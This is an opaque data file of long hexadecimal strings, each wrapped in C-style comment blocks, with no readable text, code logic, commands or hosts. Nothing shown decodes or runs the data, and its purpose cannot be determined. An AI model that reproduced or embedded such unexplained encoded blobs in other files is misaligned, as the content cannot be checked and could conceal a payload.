e9e80c8fde17feb7e5e0aabeaddb4c31905889a6fe966704a6588e635e6851e87379caa8ceef993451b8ae686ffdfcdab782d737034f0723298a5c7b245005c1c74712398fbecc2f3d9f81f3f612cb5915ad36ca1eeaf0a24564924e7d736db2e0ec5f1014aec8e4c7c509d557b7de114e7a67ad12f9b0df73e3b1b3ed7d3a88fadaf579c6af50558f0d75b8d11336b0870a35c5c9fa980a704f851ed83102b30a8fc08a8337dea62fbfd7d3bcc7fa5c737e03d2b337fbd352fac5c9ad84cb69823fa1e89d2c0a5a0c12ef74f3d9407d57712e471e69b2f15f45fe368d872e363fe7bd7ded1a0aa10478bf90820293fa5f99f498efd14165af08444bd5aa4f56c842d72d12501b41c012fda1e56df9a615b9c63428e2faffd4aa5638c90b5deaeecb8b4dcb5c4dd04129862a51321a36a624b7777cfd7c4806d0323e54470ba24ce2b5d40ae28bf26cb548659531fba31a6a720f39d76dac9d0498d14000a43d9f956eaaed672c60e1258d86d2b0139fc579805ba728413399c2c5d4b10126ae0aa667dcf28987e8778d76559d65384c165187e303ed497750651ab2b7c629e9b6797b4702a7b61644e373ab2a76052091feb1dbe8b11b6673cf6ef00612c99d3a76db3c6119ac3de69efdbb394f775b06c7a7048933382bbf23a298e560aa8c8cc4a6e1ddca6bfa7bac430b3dba96613a029ecdf6fbaefb18620ab33a1e35009b5014d882d465eac4c3d68ba4a4251ac6e6c989edacc3996d4894f8b8e93ad734521a6a7e7561ebd13edffe7b2d4b2bb15ceaf5d5568e1607c74c317a707c2628d4e00cfc658883729c4d499c0ffe90828e330c62c5a0d7957fdb601b96a037b8ed78fb092c57820b1a22394d1a555d2e984efc6b25054fedcae4c9e5bf4b60f2c048cf3e96df9747dd5315c7fbfb368a9ce528400689315b624c54d7a4a9997da36d21819c9f7b85223e2c364aa9f4dc43412ce7f1ffb453cad5a529931edf0bfb10fc1381bf6f76cca5af5f191192a38e58d06d31cd377df8065a391097d9f748047e2065c6f6af1d9d95dfa3567e46519768ef03a759abba648fad0eb3ad221337a2b0cf9d0ecd8ead95d9e6f7844cce3b7e0afbadccd554a340c69172d098490b89411b6b51fe428f8a134e5b64065229e00caaf63248561950dc62de051f132b1a56b7877ec5623566879eb7e480ed3d4bd97cc007dfb8e10c89b1751ebb45f2302f502d3b7cdf1d8bb429e4d95171586cc3e1ba66212a6d9d710510160919c5f5f3055bdb6625*/
/*3445d97ca320dee351fa36eb40d6c1b7e3da553a3a4300ddf91486fa40760981d57078e5efded64500313e041c71b5114b10a68723094c02dcdf2f7d1bc5c0fe6caa2910556b957080c78ee63b4dbeb0eb7400caa049c72f720045541b871d05738ac9d9abd8c49cb995c067defe0209d8085795ed698d6b3d1c42d8f4acb3c6047ce9a4ee52800201c8bad8286e2a5c1f28eb51d4fc550512d13c7fa7a74dfc7a25a12c9737ada95e3dd5ac51d3cc3fdacb1af8f179df9e173cc8a3c179c8e3fffc05ac89aa05fa9d83b3c471c83a2859db8c1e0584bddffe69a141ed07657b0aab985fa452601b1b8c4b6ea77d6ea3f46bd18f99bdfe42edf08518494b44d167ffb5e4bd043658c5b71aadb57687293a361d756c62e0a3defb9ee0b3004adf83bdcc3336619ed6693347b8abd740853dc7be580ab446ae08a7d8d3b186d74b1e0a0cb152b045eae5780206e5f47c2240ab7054e7c91146a8fb9515fabc48c6a52f4b2ed409c159a193efa357c2e942795e2f1f06030bcd3adf6180b63b6f2cbb90b0cb2b842f94e0f24126a2429e1c95fbab061427befd9c0605c14dbbf5742d91c9427a4c771c66149ed3c2d2739132d9565860b6d997b097bea0530a65632a5c99679cbc6fa5431ea94a36902e1087830ee88fd0257cfc03119d5ae12fe494bf6fe5741ac2349b3e6f69174961a5278626aaeb84ddb75cde8fc9b5a77d5f4fb85ab6a2c1124b175e46ffbe6feba1dd47145ba236eb8f4ffcc87b544812c18a125baeed6d684e3c4eceab22eb493df1ba1e05015a20de669480ef56772c4ee151e283d947d31be3c8a66db7e645f0c8c34a19cf22de4c5e4140212f22155170167aed916c7c6eacdaea9e1c230b05275662e303da34f530ffd1227fdb1ce901b5d3ac83230cd8ee70ea5f9147674a2c00d5474c6ef601d96c0ed837fb85b24cc27c4298ed3e358ac8ddda5cbbd22c2800c1f223254f6b1cfc24a65822d5ba2e94f896a8b3631496b48e1eafd5f5d8f125b8ec292c112af3533f6f1a9f7c5cf2fcdc98d45c95567e29fc68bec2d6369629a50b148b5819946e2a4271ffddccfd26bd8c6f7737e51cadddcd0feddbdec1a23f149648774265c7caa70a7ce11aa118dda3d2f2eec9f7229a13a19c0bb46bb40914e69825466e217b81e02364304e924eb42ecaeffbec6ba00ebc504441c11613f597e2fbe76d366d7738f2e80b03792854ac86c18f9f878f1823405b49303c67d4db14685d2852d646ce34c46b896b751ca0f148e41d0da23676ffbd1b285d1b3a2f737e80d241bfa8348608788d590c43c9794af0eb83ffbe727366be6cc427246bb82edb9e72b5f30ae8986eb8fc7bc8b39c7b1b12aa47abbddf09eba0df8711e9e29514e64b3f37d27724886a479fb5473ed85c2ed880e43edf50379da4ec72dd26bb6a3cd04e1a4bcaf85b4c7e243a33cc0354b5520e548db681bafde22464837bd023aec48c9ceaac0afa3c63df8ba3e86c788146ae2b4281efcae565a54c11028d6c33dfc8fef4a883b5d29e74781173cd257ab7292a386317049a0f11c35fe39ca9f4b90da0fc668908bd16da988dcc0b3f72addc3c8fc894219b82ca50335e65c2a5914ae2c52b53f3fae3848d838cb834d3af73fc838ed31cf66959a89fb2c6ddaac543e2e502b786c36f6a466459cb72ed584357a00e752214426b544b08c0733f2a051d45caefa2860e2f2e365498c52703e4a1dd6dde1286e4ca9180b4a5576cc5a7df5505870a237b5663b75ca8a61e9dbf48ca36e393b5786a4838ba94a6309dc1b72a64d97342ce1d702d38c9fbe1eaf6b8502c6f258f796a4a9e1256233176a65ee5cb467c7649fd97706fa4e76b492182d10501cf15ae5a52c85f1e07bf4d6c029f931f63aba89caebfc85c688aa04b8bcf9a3aac8c026c034e731811b9750d2c8c0f79fd8310b82a11937bd0ee39dabecfdea8b8450e585d49dad22fdaca8b40749460677ab40f6334dcadf02e4f0a5c96d342caf4d0fcd0974312b29d14848858ce5803c59e517a5275177df8a2b6e8653d179710f0f55e698708c4b7d247a3aa4cc20652a3ab4884f5c3caa5dea6e5f5abc275f40c8e76fc7bf41458d54e98bee792eb868e4a0766f9ecdc3220438a4cfd040ea82e37b4b20697c4a64700b926bae53471609e796f69c76f3cdabaa63039ecb505852004df7d56145eee3199509ee07550c204e3a8042e0787cb8f79686c74e2e8e9e42b292b829f1053156d10ca270d1f195cdcca32397caa7987bfadc96897d73b4034293831a42ea1f3dc96882117ae50defe50cd2444c28e10bb065755cf26734f74202f0a52914e88bc5c3dd3f02a7902405b8f6ebec944819a09b32b7d479d67c32fe74a87a1ee2f4fb6a764d604b23530dc5f0709bd271c231a783a43bfc103f8fb992d8919e9defc7f58f9cb50ece40856ddc6e1e4df713a4f0484c89b37c5cb4f18688e6db09942095b2e486974be79aaa312b1b7500395fa20d2a3bf748000bad17786764c5ebce87260b4b2c48bd11c75a7771174f231db62add9a6b9e6bf5ef22d12586a796761fa51bc01ceb49681ae9c32e3695e44442d3bc44705817a4b4a725ba5ecbef39fcb968864af5b2df4d96353ef8c07d587e111a904261ab7b404bf1297bc8986989041f5620b6807dc476e0bdfbd44ef7b390cfeb69b4e6ae481fee31aca0a310f6fb491157e16c868c5bce9b0170d712d304b5aff4610a690205b72dd8f7ef2d60cb1fd025c814a4fd2800259184fc4f2f0ebfdce0e85e3865e0406299629c068b8496c3b66d93bad65641a2b37a21df560f539*/
/*9c274305ce267902a407d31623577921b82be4de2d6de5e0a2557a27bb509d3706662f8a2c72785596328129ffac20f23ebeb478df40b7898af938b3e3366417e9442f0565cf88ee890a46ac350f25fadf24146df4a292ef20acfeb613e8bd20deda1de8f63fcdaf819533839ae552d140c715b62b2a8a7d818cd2bc9401ebc7fe2f82b2ce471d0b050c416d23cda07f111b836f7d5c25a7a65cdca8269706ec6575e87587fe9b753f7f3d83a2d42890c022ea3813d6c5dbd344c37947a1831cc883a8195ca870bdb542498fe3ca4fd9d8601b8d34ff37ff590c6dfdb4e403f624b39d05832afcf1e8bfe00940495357681824b8c5e2a8b001207c692b0bb23d80b61afd1b6343ef51ca1babbb267c1c76626671da3a861727f321216981345ffdffb1068d6c6e4b4fb0b495bdd88239ff9771104c853369410cfd09e440a04fec25d87ef9ca8a2612c473dbf95b7989978901c8e472e055a30cff269144e476d3799df28fee6d7fe613b72c219892f43ba7bb3872b86fa099cf71312fc905e5794737eee175860df5f50d3915fd12ed4451285d5e2b3c8c12bbff2655c70db125d3611cf4ebbd2f274c00200809f0ab5fedc34087dac8e9932e157cdd68152350ed98b010728619b67e3f25fa594cd3129128811cd9c3d703369ba9dc4aa4e2f45d843f53c00e4eacede86eebf3ca4f7f68cc130b83c26c2bb7653832be2271db0d50b6dc8984e2db7e2e16d2e6d2972595968c204ea3c9e460af4041a96c6474adb796f2dab050643b890dd13f7fcfab3fb2a98492621b565a01dcf4da1d1c97bc7697a587acdf315b134516b5def0a3ef21651ea0a53f30b6a5f74f582cf96c2fcaa56d9b6a89cdcdda682e00ba34a2edb5b08f756d06a9f726e6e4658e0366c7df1677a156863d31d7ff74227fe3c6ca4979d568022c9bd700a39994307671fcfa39f3bd0ff5b69f1bec2d09aa0c9752b63b664e9ef5bc3c8722f115b59a1977399b3387c56eb4ba7da93893be3e5fdea087aa8a59b9e06f56251a974a71b77cd35a56914a28bfa3c2aa9c2f072dd6d06f63dc46338a6177fd474cf339358c16d4024ca7416454492e823f6f39a424bd572a928e24025a78b2fde744bdf6f75a4fc16af3868d87d04512582358e44a6084832d131654bd48ca25bd2a417008d9a05f2f183753cf7b8975a0fe0973c7aaf99fec52614b81454078a6b0b354a878d2f804c4cd50812840cf5fa2df7dd9d6fd761ebb9ce928b823b391a8ee7dbb4f80acd41267dd83c45309d85d9dca56381497a1587fbbbb7c4403d2edd16d511ad3d1827ad5fba80a92563c00a2f22361a1c76b450a1ae085962f66b43f5fbc1d8b6bc5ce1185d535f0d16028d4f08569e23ea9bf270fb01199a9d21e2fa7713f111993043f3125234749b56e5f01ed384b2bc232728786c50d5ef0ccccda4c1dc13be3f72af70285b304c757f39d7ea71d6058a0f5240268b50f30f1dbd5465b165ba74e6299c7fb362dc510bd0686ee87c1656b6ab5ec7e8b6d77de17dd6bd93c2b7412c47e7b8f7c6dfbdba2601e3f6996f44bef16e11f62a71568e4fc2a67dc92129f3cb21103a9b95d9bd10dd3af57da2e27c997fb4763489f9be8493d1b5c82519fa49278745fb98c8919de6877938cbb95a4e013c6e9f17c8c3b6b87b3d21801ee416aec29935272678618ba5faf2a35e7df91478b013e5c1313e5eb39bde956879f0269579e77e6c1de236e8515505ad642675a51fe08851bf9feb91ca664dc5513099311fbbabae907e2b2c3771a5f2a62c0b2d1c397c68631b725c90ff55a3f4e14772c88af1dca6b907506fa0801c12c1300a359edff587eb262f6923e65c151f7e124436091397b324b847eff4c387179b0e4e1cea10caeda1f1b15a3d559d550f0470a27c73fa9a9186d619bd990146144a851993f090895280f8d31312da0039a8d38212cf810a9fecc3b6d873a6cd5da0cdbb3e283c8069b49e90c3f918199c52335fa8bbf20fa90b41e882b2630b12555ee6537801738d13c00a7ba1d9a95f3933607d1a01a67535d1ac806e362c2406d2593ab252db3f267b2e10435deb86eaddd4e0673b41613220a53dc22ce595de2f11ba9f476d93cf30c88eef14969bb32560afa3d729d3b793512f6b269cc8d1688a3f862f3236a8c4c9663040a881d8d27e9e7f16cc9a17f82b9a5afa60e7f66ac522581f1247dbd2f80e21772e1c6639142891312a33f93f1a6a19a391d172b4610bd1007f0238659135d5e59524b251f7ddfea1e6cb5e88f89509e22e4e4a00f1de554cb33ce642c479a0a74d2c6d916b8af75e9d2fd688c622b1f6ce4e5a09e014ab522d0b6f7dab74595f4bd0f3473b283110a1a5c4c4f5571a383d55ce5c05e33c157209ca1599bba82bb19bfa58d83348c1aba5c6f6272f8368196a578025416fcaeefae4d69fe02dbabd12fb86f598f9222b8c7a6c8c4e03c5011f342108e7092e7c2252ae990f173d84cf545fb38f738058fdb8245066be61f4cae1ec47e6e40e7c0111f7c7bfe13fa4a4159ddafffd6577a2027d8b3c3ee1c1881285327b9cfe335507d9efb5c50fbfb7402368034c69130edb551329439b89dfc2568943274cdd78b700f09f99d326024decd43861e292e4739ca6d7733c0fcd77d1e5627867c8abe32d24675357c3b39d4616373118888c11e9571c7a9932a5e955bbc9091d470da05368f6a7c22dc3d570ad2a13a7d0098102d11998070ae403d0e32e25661e6181f49e333a066033dff71f34737731c9c78b60f7dc79daee8d26a2652ac2052e91feb450bdd895623a5515c3ae721fa*/
/*ef9f41d9533beb61ce9c2aab1ecbb65c6db598b6cade35800aed2e9632684c5f51db839a85142c2b5f2061ba41154db2b3586cc232dda3a16962022cd37a8341f257ac84b7c2c939e8b2a317dfe031c00b8420e1666c5690be45eb2177de80f41b0a1e89756376c1fdafdcc3661eb7e70a716d674e98873c2f5e2dc74db9c5ec8215fe164b6148807ab236cf71bf580dd8a37f43b9a18940eab6e33789bf8493f5a1ea2871aea54e77ef8466b38995de9f278da318669f34ac8d27f567339014be2da8a3a9a8fd9825ff20b31d82a21da71b25fcd502e23a00e329b23f655330825fbf2fba3299547da2f6febe6ce4264c19b2d167cdf91508ea68bbed3579fe9aef35e8e563e05ba3e874f33eea5ce1c04653e329898bea0065287da4436395f150cd11ffa66227c537d796769781fbfea7c2640f2586474b4a5e62f7da5f90ab88230f9086868dfd64cd3765a4852a86ae548782b263d9a33882dd5bef08baf9704a48ac4c0a0cc593ba2a10c7bcf02f9fe90a5101d6a1dadd67407e817d86bcfd2606dcb8785716b1e75c68a21d960ea4c4615c84079c9a03cea4d24d77a4a6708ae04500d222eb01d073ce02c9997a442ca847e31245667f316f0da87675c138e9168b4a382c937c2314ecf76d85226b946c33584928deee131cd367f62fb4c934742230a7d770f7376e72c14c6553c261a0960f4450c0ea20cb9a06160daff385277833bf4ff9120d90e08d712df5b16e08d253388d2a2dd44ee063d85101f160e967383625029c280197e192af4eeabe19f6e997f559e6adf5151560e45feb559e94aa33fd23eee3af8fee25a71e0f9938c68b798ae928d01e2d58a9131769d918c75e5f9066e4323aa1c98e23a40a18b1138b9961e28a5c3029497d834c1a1633449e11a736bfc142084ceeb89f02c7be4288c0bfe8e9ae2a8536f053752fed970780cae174d6a9376171a4882086602f666cc1e83eb0fc5c44ed7f7626eea77e93d2367375bd6c23835f0abb3bdbf9a9904ebddbeba5dacfef3535b433effbcec881e9d59ca76005a2c3fbec07973cfcbcb31b36d27c59e3f00ccdc6ff878c4daa94c0bdffff16d83964669e2e0af1e9619782e3eb7d9e6bd8a43a272568572d19414a6b1ede36b593e2c5a019cda14a1c4a8c9f6d81a29fc8de31c423413dc24518e61cc61dcf973c4638a9969e2548a295ca340260ad90997db01d79334489427ffc4857b67a53b52a2543bb75e2b974435d2bfa570244383526e398d401cf8e2f1cfb2f004dce66119bfbafec94809b6eade970ca13f1eeef233e296b11d4a6a1f3c72b3990a78d6d86a16079771563d9997abb49ae955a6168e0e116d4e1d31056c4902a97c9fa250a95d96fba3f8efffb5a477f2b232f8728445f8430e174ba964928c2cd0d595d75b0f571b5892141e4e2106e01d42219b4a0e2189b88f2d4b9514828e7c4a068248ffc71762a03f03d58ffeed54a71b76a3e7683b0cea2334e7d8bbde4bdacbbc7162a62ff1714386151f6561e3b9e2bcabd3a6a6d13451cb249a8a97d2d1fad86bf415fe5b8a872ede26f19d95db3a718bee383d1644072bff4ada2d588554e2104c9d203b1e4213f4748d955131f5ba8719fe0d41b38e5267efa64b4d60f125b67e013b847d5146fadaf01533a4238e61cd6dd1bcabf3f695eb246b51c93d5b21dc52243e125a19eb20ade9834b83a531b3a433ea653da0b14c9446129ab94f8775407310f93bdb96ecea0a7a8773c1684b900c1ced6ac6015e85d6e568165eb2883d4bbc7cd9713976078a054bc131f97253f1a1a322c55ce35851dfd7ac6c963f38f241716e87708e970baf1153656bc613588ffb41a5ed85fd3b73ac0e237c0d2fb84510e8160811296e9f7faa6d75315c1b1c87d256912080375b98eb06323573e69f277054962ecd4b45111ac6d1f01c2fb433ea7cec01fac4ae75b72787b7c64557ee293772b0bf5fba853181e897545a17665e1580e12b94b14df949196b606814f21cf77bf5675178f38f6ead36dbed281451b0f93405981d507dc84e899d5cd3154166fdaf89d6db8c89699f416621b4201d1d37dda2a062999bdc4fd13f3c3d5a52fec0e707906268c2b579f3642bcc33acc40fcdf6ddc0caaf543084cf26a32e12c7f8237ae4584c2c06a2268e7d4fd0bd1ff0a9c0cbf0b762b5d4679f8a65958274f6621f93f4f69ed70a2dd0687b918149acca37bb558855be5ef51bd53c7a9b097396759da418c0865a17059f6661f24e07e02d0386e3e369c3ea996b9bbb8ac8e8f3cb4b0df7eec82a4f4d812a7ea95354f8986ba98967c28b5d3b83ec404fa3f0fd030eea258847994e314c436673d7e2868ad1ad74cdc3f3fc36633f77794c19231e4b54a20a17a814a582aba9591ab15f883ac98e94f5a5cbb0499a84809140ea884c44e78c0aab01952b4b7a94288b697f92071e9fe86a8269569d9df841017427e9a218ba9eedfde4871e04e82aba38e80e72a3c10bfd753cd1214e969f31c0b5eeed9db3415729732879c11fe50fc92cb5406745346661d018716dc811971c654b2f515ad0c8d41ed9cd3a921702465ff02cb45a411faa78e05da4d55d1a3055429317f75db49cf6d1fa118174fe162603fda85cc0b968e66192406cb2e588325ea070046ad73e6172a81b04aabc06355cc1eab696ec7b9ca16a23dc9d143733443fc2656e05053dd4126cd8307100fd91b630a50c86aedbddc9c2295cb689b0a4e32b0ceb5be69fb97f4d16c27554c40faf820144713cdfad1e7bca9e0bcb269f7b912d2eae615ba1d649378bddc1bdb84ad113d08ac*/
/*3a66fac3af03744b29cd36afb73b6a12c6bbdd32461c2cf7657231c93ffe5344feedbf4430abb78bf09ab9e6c9fea1a421b28519f5219b9a1eb4fbd8ee712a0ac6ab45229e25a63de3b1a9644de4306815ac7f25d1cace48bc0d236154e3bbd32e8250ea4367b7f100afbc4b87ae69b58e4135039c6c2ad3973b0808a57544d7662f3196bfb0d3644b149b26981f64a969b1207dcb6064ce6fb461119c53c6be97eb33b57a080b30f000a765b7e225ff67e34c0d8688934df95f52bd2b06cbdb5f1395eb02065808aaa0ca52ad716a6fd21b03f7f8ec380c341506796985ee5b600d2234cd3039f55d1be5ad643c4115c3dd8de2636539536a7a6ff526696162b01bc1f0dc3ec38476cfa1c319672105b9b5491c635dd1936c1a6ac4d07e707462ebcf3293503892a48ed36c091a3ea58e795da3c5041e9d9f873e74df8c0a874a09452d8062f6b3ce2a9410e37d0003506214e1dd280c20f806062d9049e43720ca55bba272d41fd807502cc4282e0c3a60fed584048697668873231584748332f197531f11a57bf670ee800753c5fe545e8cfdac060614cecf322dca507d28a6602b95c2425b8b51f76dbabe5cca933ecce96221f6b01a00031046584f7877ffe7595bc18c11b10d00df9b2e1fb68513ccf18e8d36e07701b351035ffadf4c5be720a58dcfe339d202baa66bab6b1c27589abdee69c7b827bdd59174370c72b6cc0c528c39f455cb31df8b2c6d6e863c028cb5db26a5d9555335dbe136412623d3972b9ecaa696812919b558efba44676ce2a64858c538dd55ef9ebf1ecaeed39b44bef88610ebc245abd4562383d73b479eb9cce2ac0b4573be0888db3d7546f45343f4459472abdacf2808c92abda92685701efba25f4220cfa3721571aa2382034c0ec957961caea1e435e110742eb29e612183bafbba39ec362b13d28fc44f5d2ba82ea781f0f75fa860ce7177ea0f25afdce824ee13fef3b6a03ba0e062847fd2bcad9d6cebc87178daec46143174baed02e8a81f21ae9ad5fecf4f76b92c645b7df76cc1c0c78061847d520a991c3a64ee36b0e6c0d3f7a7bfd188989e092a9a8579810cd3a31111cceae931a471a40264fa854de121d1d2230eac1f6e67543159ac4abeb0a903207c093663f3640cd41dc565f5201dba686384f488160350b4f2d5e8bfaa0cc77491b8932d04f06b50988ff0710c1c96fd43ad475c49825d4689368522d589de151a8677d355380e5dc675836cd9abadcca881fe1c255ce0a25fe8254e5a89ce46398f4a994a0b1f937f890f0fbe6ea39a14b358d9ba34dbdabd32405062d8bdba65542a1306553d37e666753f33a0d866999326b39963bb170a142e27ebf70fd5491c96bd9e6cef67dc4d442afd8cdf2bdd4899485f70236dd10b0aba726b161e490417110acbb951c1539c073a4aca226be97bf989357608ece2a1bfede311a46a5b24875ae0f40e1581321590a6b65a1d0acbff597e8904293951f4ffbe1311b55b68384b21392521064f2761aea177b44d3b6a99cfdaa1530da0d0c3b7286ca01a061bdb672fef12884d2b08d652ea9dcf9e16ed113ad76727c84f6c405675b3d8414faf224c51fc08528a0f0bcdb08abfe63cc6f26eb24011c8f6f34705a9706e5bcd11095b1af63867fc774ed0be0ae7f222fac382ca6d58b7d6919981be7132ac03f991e5f5184d452f493044b195400a5d08ab30217b57c4f012193ab214efc1405ef912b0bad9288f5b56db0fc483be6e1d5596b06eb3a0b4f1bf94942bf16432d1b74eaa289bc271b687711d08a453b16d1b901b522ae8da762fe8d14672e90ef1d59ae7b1dbd0b326e038d49a6eaecbe03905776b2447bc435c971f9b8c0646cb0e0e40624fc21f438ae3c6ee63d675510213711e9f57767acb39c2b39429bb2da9d62443ea56b612487147c7409166fa2e319e2165e3e579dec439a3b136bf76c7003ff1f2f7ccf7c3870f1c9d10811247a3cd87197e7170fc3568879320fdb0b5031a72ca88474f6b3e410b81b05add39857b9fed0e72b54e9e4af55488bd90d7e9ad2f46d76ba203740a352739c56a4cb9b56a49590ad103b6ab9e5bfd59922ac800e5b2b559790441d4e35479274671c7cf613222a6cb2388d6ed75cf345b7b9b002fafa0e070284eb996c15ec74da7b7e33fb847be5cd1ac2bb4bb6bbcdc71f0f0c0e2e94da8907023aba8e76ecd31c8bc145bb7e4ef9f9a0872ae7e25848d2b083309852d8001b08a2bdd744b2066523492e2178e87efbd98133077754b47ebe60801ed3bb96d9fed99c0b0f93747ba351a620f1ca8f36401c4666ec4aa5bf62af264d0be489fcac869862a8c10755c879e611464b2fd4fb86c230218dfa09904b21150bcbba4ddfc8c44d635833d8d780773252e6f89dd38dea1afd5cad0270184ca556be0d5cfb4aaa148e80fa3a2cfe64bdb768a59e5bc2e4e79a9222509011c877c017d581818127b2fa347484bea4fe0f29572a475f2a6db9e7b8d0cae46eaa1b3e1553164a7267d63e3d941bcd2b2dfdb885744bb37335590820706cbfe26418d5a5915bea6fd165d725b106b7eb3490b98ab7a4f615f3b50a73a5a7e1ce5dbdc1b7f02c032bf84effca0ef85dff2cc04d4094a5a0010b84e1e2b90a4ce07ea289ab0880dbcc40b1f04c43c17aeff050d4191be413d583b1efa81df6f4ee50b59a324068e1590bc8f1966eeede6932f9d89ad5ff382e5b3254908cc602191d62e0a76d8ca911f2b10a645291e351a9d3c3d5af68038fa82783b4eeca69223623992c0bad11d724bc6210be589cffc03f82fe0c4b2f9b303d741*/
/*3b02224ffd3bdab21a1b799d25ff1efbf973099755c3bf04f580945e9f6642152b0fa0b311e36289240d0178c787f02338f1e81d742d8c90aed45221d1ac23f27d912f4abf509bf0e28a5b743b6affb96bec956a5f699eb05a8093b98d72c79fe1e7d4ef16d06f1f93ba18eab05bac0069254a5048a1226cf228a5a5c0890ee503093d7533863c81f78eac8570b450407c2f2ecd5ffa4daf42717d1f62b4bbce3edd33903a107862f9dedd3f3f592f920353c123d18dedb9ba4ed3901fd2a10de834e3a3c3877ad1b31937812b1b1f78bfe37119427c8601961e2ef5d9b8dffa572504990387fd6b9829946c6f362369484ab2570687bc9061b948460566a37484e1db124f0ac05f04a0283c42c3d718ebb54bf53bf59f103a62228b3cab4c60306935ebcaefbbac2d17890d216e749b42cd060b9f3fab343765ec7f3a916a58eea9ac5e95baba047340678451d3fc6fd484344cf6387982eb9e0f3288dc347d2e5a74f96a41d012f88507490a5f8a124db92c8f7cb14ce141dfc8becc1c11de5b4f8ea608443887059af5bb1ee63cd34be19c414459d7f1de15dbbfc7f47fe65fe2804842f9f426f77988b29bf9aceefbe4a17b79bcfa93a5a28b26004b0ffe777b76cf18acca67e5abaa723ef0fd2860f2b165ef4701c9ff8b9dbe2c4e3fb6d889f1edf7eed31f26ccc6c49c949b4996125fec07bb82e0a8b8914d269fe634c0c3f7606168e06dd9f1d23fb99115a2ad02b9ac92a0bfd8184df73c4a61d58fb7680e8cf08b4b56435074ce62d8ad1a0e626565c8a34ebae486666ab906a10846542fa748ae8d27d620e0a2b35d51962565b547420fe6972257c0845cb85fcda55b6bfc5c95de894fe1459e26fc8e3deeaa3e2003f9e79c57bb72d03caeefa8976b69532d5dc8b5cb1407f57699727f6b460938103681b36adf773fa836f36a7061459308a4522c61b788a964d7930412c339eb9d0a50be9fe3aa20cb101a088ef017c6fb5ea252ae65fcbfc4f62c61b70979b182e8ef79e2a2605f69357efe69103ba6ad0d062cf36c2d5ef98b1476540762768751009c4c49e0c8067c232bc7e79ce7dc737888fc59cdacd244de323996092b63e15ea196a7dc7c1573baab3908aba3286cb5cca6701742120e450bd2887fb039d6d7263dbaa7f3fb4cb339b586ca6f1448660d4145e7a8d0953036df06059b5287080fb398ccc0fa152b5649ab4e5341671205bc5d4062e061fb61aad342e060ba570b3b99bdcb4f7ac42ed9b982f2fe54e031f46da38b6d19bca8486fe9adf5514a3540373f773f9e561bd05cf553ee1333c6a1b0e1e021ebe1a36f79d818311ae9b106bca5564b2127b29d6b2cd81c5196fe3d9e1b2963a6b6ffb1440aaaa8ae6291d1a264eed011b441288f26377ff8381d25574297cde3c3c760d5c50d18128e022f1a541b09c384ba6a0652d20d9dc583d0b6aabf95ff31a25b4e076d60772ff28269907cb7f980b7f740a52b85c1126ac16a753302848e9fb33fd7a989f2ccbb7f57b20fa5d1f3dc6f25c2307b7580e04dcf3a8371950bd1d90d1ed60caf544fd2b8ca8c96e8b75765499c9e27758018769ed3959868169ba1904e017d0a73b62aa1aabd6bee9da19514e7c04982a252b152f868c0e4f0fd7649410e40bc0465877c133afe6971b28830330839b97c19bd568a8131e15ddbcbfc2de641fd572158173f9387d22caa809865f3ee0d34fdae53a71c7cde0bd65f8236abb171bbc7a4f526b783f4e51a4d92d9b7fe1bd2f159fe12bfdcd0b33f2e759f2d890b0c861ebf940fade5b43814437c2428366a518f348f0f565adf7feadac5808afb10661995671212df2106332e44389fc75faaf0c69f03f409fb3ee97aeda152609653d6a9372cc2bb1390634d897e781c8b242af24c05218bad0952149cbbc45b29b4ed3cef028eb0928d1a11b5e86a684cfffe66e534ee5d4b4c4aa7d373d5a7fc5baf919adac68c596f2390419cef62cccfe8110874b5810de2c4a9dab40f6a5338fd8f9dcb822ff421f5991635ede214f4f222d5e2f096feeca9d470d0a73e557c262ca3f7811cffa12e4e0ce4a6f2516c0e28e988ea7dd02d126ae8e5aaf0049af2283d583332f3ca30a5e311b99385831c7c985dbf4acd50c76629a8b48c07c40c8e8be54a881dd9b17ce983492657cfd53c527894de72e9ee12bcf436eaf0089338fb3d8de934edd0c63ec9406db84a00984bb6eadd559c43305986a0a88f04d555f6a6e2cec3c71f4bf896749da0d97fc4bf7ea6961339f664a153247bb4874d6d19b5403ac4fff96dc6f00c07757e791a66e4cf602a774e7e5e38f3e3da092e918b5fda1d4b7a8a3b9a8c867433bb850526fb9e6e539db4a5d6e9ecc3dc9078b422f53555f27b4fa4df649c11e3b9948e7bd133231eee9939bc0f16f26ed6126e2d70a6adc8dbcf955ed42acab2aa96e573547fa55e742a22ce8965441d6143e48fce4ea7027a2bb826a118a950ff4c7f712416c38f89e9395e03696c2564d2b8d2d0226c44479f00bcb374be89464c1930c3a010d1dae2159f04ee341a77e553df63149d3cd86664e0132b4a866c5bed1bb86cc988514d5303f4b8cbdc23942a89f799fa9d679a8c232d567658a28a4c2603c3d2cf1fa0e8df43e999b0e21d18575f2535b9335e4fd3694c83c38d326721d08cc00af20f5171836e7a59a530a0781f37f1495ed585f0ddc1ba70757d9993ab6725d6f13b7fc1b0d78509daa54d92abce984e59be9f3f057efca27023d0e0e85c1758b3fbed8e122058e0d27aa81c44fc048eb996ba4b6e5bdb0b5d77889ec9037f3149*/
/*b6c69a1620cfb3cb64e9a58bfb40a859087b81d3847b5f5031792b55d2e2ea12fd91cd952e918f19e51735d9d8b8e566e8cf8940f5630e59e3846a8080992dead8090b9ae68ea33363e113674e7f844d825ed9414b8ba82cb75daf0c16c9f4b674a0f3d06646574b5519ac953e92622cdf9b1fbd7a656ff104ae84bc1ca7d6288df659af6facd2ec9119007d8d4954fc3208d4f492dde2e64322b070c239484f4eada37f29dba168e7a8a4894e7afaeaceb6ce666cb3d2c02bf114336e5d822b74096d153d6dc33967f4dec52ae9b6a9652ce91184316acecf3ea421756f89464211f6082fd31d09189bc1db8886f7f0b259648469b6ff32978265acb321dbe78cc2552d6b5fe3b2797e95d52e3172df9f24e012163cb1dbf9260875296cf6d29439ba473c15483b6553f86bb4d84636c7ad214faa78a991af4786bb26e94c1781c244b534ccffd30b6dcf3eefb1de2bd685a9447060780a29657f96a4478c9ef32cbf0085792382acf2f8d57f8d4389a91073bf11756e5dc66ed216c6274eb1d2a5288d706d6389f82f74de9d20280aa75a8d806e7d18b7926e34a5ab37b0d87d8dc3f198ad5c2ab64b1fe8ba49507aab60cdd4949fa0ae0e6508d9fe4ea400f2f1348563e14096f5851beef92305573b17ee6901783c646ca7d46fbc2488a7168179044e7c08b41d95eb58edddf1023d749c995c65e1555e7b975287e9627e2c4682f810967e235a98034eb8659b5159c8b70fefc97f3f5217822597d5fa34396c098bbb16e9137294a4ee200279a0f0339ad60ccd3ea3eb496cde7ead367e67301309d3be238722e954baa829c7d481227ec115bacc31412f05a07d30852d4f9f9d1d0803d32b5996bc926988b26ecc01b2708535b9fc70792cd958a67